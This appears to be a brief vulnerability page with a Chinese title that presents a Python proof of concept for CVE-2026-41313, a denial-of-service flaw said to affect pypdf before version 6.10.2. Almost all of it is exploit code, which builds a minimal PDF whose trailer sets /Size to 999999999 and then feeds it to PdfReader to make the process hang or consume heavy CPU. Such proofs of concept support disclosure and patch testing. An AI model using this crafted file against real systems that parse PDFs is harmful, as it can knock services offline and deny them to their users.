CVE-2026-41313 pypdf拒绝服务漏洞

import pypdf import io # PoC for CVE-2026-41313 # This script demonstrates the creation of a PDF with a malicious /Size value # to trigger the long runtime vulnerability in pypdf < 6.10.2. def create_malicious_pdf(): # Basic PDF structure pdf_header = b"%PDF-1.4\n" # Minimal object definition obj_1 = b"1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n" obj_2 = b"2 0 obj\n<< /Type /Pages /Kids [] /Count 0 >>\nendobj\n" # XRef table (simplified) xref = b"xref\n0 3\n0000000000 65535 f \n0000000009 00000 n \n0000000058 00000 n \n" # Malicious trailer with extremely large Size value # This triggers the performance degradation trailer = b"trailer\n<< /Size 999999999 /Root 1 0 R >>\n" startxref = b"startxref\n123\n%%EOF\n" return pdf_header + obj_1 + obj_2 + xref + trailer + startxref if __name__ == "__main__": malicious_data = create_malicious_pdf() print("Attempting to load malicious PDF...") try: # Loading the crafted PDF may cause the process to hang or consume high CPU reader = pypdf.PdfReader(io.BytesIO(malicious_data)) print("PDF loaded (vulnerability likely not triggered or patched)") except Exception as e: print(f"Error: {e}")